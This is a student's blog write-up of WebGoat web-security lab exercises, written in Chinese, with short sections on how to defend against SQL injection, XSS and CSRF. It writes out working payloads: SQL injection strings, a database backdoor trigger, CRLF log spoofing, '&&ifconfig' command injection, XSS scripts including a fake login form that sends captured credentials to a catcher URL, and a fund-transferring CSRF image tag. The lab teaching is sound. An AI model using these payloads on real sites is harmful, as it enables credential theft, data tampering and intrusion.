博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

20155217《网络对抗》Exp09 Web安全基础实践

Posted on 2018-05-22 21:36  20155217杨笛  阅读(415)  评论(0编辑  收藏  举报

20155217《网络对抗》Exp09 Web安全基础实践

实践内容

  • 关于webgoat:询问了很多人在安装webgoat时出现了错误,安装失败,因此直接通过同学copy了老师的虚拟机进行本次实验。
  • 输入命令java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat

  • WebGoat使用8080端口,所以在浏览器上访问localhost:8080/WebGoat进入WebGoat。

String SQL Injection

  • 按提示先输入Smith,发现出现在SELECT * FROM user_data WHERE last_name = 'Smith'两个单引号中间,因此我们可以通过控制在输入框中输入的字符串来控制select语句。
  • 输入'or 1='1,代码变为SELECT * FROM user_data WHERE last_name = ''or 1='1',这里的1='1'为永真式,因此成功显示所有信用卡号。

LAB:SQL Injection(Stage 1:String SQL Injection)

  • 很多网站密码验证都是select * from User where username=''and password ='',理论上只要pwd = 'or 1=1 --,就可以实现任何用户的登录。
  • 但实际上,以用户Neville登录,在密码栏中输入'or 1=1 --进行SQL注入登录失败:

  • 查看代码发现,密码长度定义为8位,而我们需要输入的'or 1=1 --为10位,因此需要修改长度为10。

  • 输入'or 1=1 --,登录成功。

Stage 3: Numeric SQL Injection

  • 先修改密码长度,然后输入'or 1=1 --以larry登录,登陆后看到浏览员工信息的按钮是ViewProfile

  • 分析这个按钮的代码,发现这个地方是以员工ID作为索引传递参数的。我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

  • 之后就可以查看到老板的信息:

Log Spoofing

  • 因为输入的用户名会被追加到日志文件中,所以可以欺骗管理员来使用户名为“admin”的用户在日志中显示“成功登录”。
  • 输入yd%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符。

Numeric SQL Injection

  • 修改SELECT * FROM weather_data WHERE station = 101 or 1=1为永真式来达到查看全部天气数据的目的。

  • 选中Columbia,点Go,可以看到所有天气数据。

Command Injection

  • 为了能在目标主机上执行系统命令,修改代码:在AccessControlMatrix.help旁边加上"&&ifconfig":

  • 在下拉菜单中能看到修改后的值:

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

Database Backdoors

  • 根据提示在如下页面输入工号,进行查询一些信息:

  • 发现客户端输入的查询语句没有在服务器端进行验证。输入101; update employee set salary=10000,服务器为我们更新。
  • 输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='邮箱' WHERE userid = NEW.userid,使没创建一个新用户的时候,自动为其填充为我们所希望的邮箱。

Phishing with XSS

  • 在搜索框中输入任何内容,搜索后都会显示在下方。

  • 可以输入一个html代码,添加html认证信息,通过提交时将认证信息提交服务器。

  • 这次html完整代码如下:
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Reflected XSS Attacks

  • 需要在相应信息栏输入包含URL值的内容,使当前页面跳转到另一个(指定)网页,或者当用户点击purchase的时候跳出恶意信息。
  • 在最后一个输入框中输入<script>alert("20155217says hello");</script>,点击purchase,弹出如下对话框。

  • 也可以输入指定URL(login.html是从虚拟机中找的,存储在/var/www/html目录下):<script>window.location.href="http://127.0.0.1:8080/login.html";</script>

Stored XSS Attacks

  • 利用脚本语言在网页中编写非法的留言内容,使得其他用户访问该页面的时候执行编写的脚本。
  • message输入框中输入<script>alert("attacked by yangdi");</script>执行脚本。

虽然以上这两个实验效果一样,但原理是不一样的。存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板;而反射型XSS攻击是非持久化的,应用的场景比如欺骗用户自己去点击链接才能触发XSS代码,也就是说它的代码是不存在服务器中的。

Cross Site Request Forgery (CSRF)

  • 输入<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=4000"/>来构造邮件。
  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。

基础问题回答

SQL注入攻击原理,如何防御

  • SQL注入产生的原因,和栈溢出、XSS等很多其他的攻击方法类似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期之外的动作。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程中,超越了数据本身,成为了SQL语句查询逻辑的一部分,然后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期之外的动作。
  • 解决办法:从根本上防止上述类型攻击的手段,还是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来说,被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以只要避免用户输入的数据被数据库系统编译就可以了。

XSS攻击的原理,如何防御

  • XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
    施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
  • 解决方法:一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤。过滤用户输入的检查用户输入的内容中是否有非法内容。如<>%;()&+等严格控制输出。

CSRF攻击原理,如何防御

  • CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,可以这样来理解:攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以a的名义发送邮件、发消息,盗取a的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
  • 解决办法:目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP头中自定义属性并验证。

实验总结与体会

这次实验对我来说难点之一在于webgoat全英文的实验环境,实验的理解与完成很大程度上是在谷歌的帮助下做完的,心累累。另外,SQL注入攻击XSS攻击等是关于web安全方面的攻击,本次在具体情形下进行实践,感觉比以往理解的更加透彻一些,而且更容易找到一些攻击的规律(可能是对能偷懒的方法天生敏锐吧~)。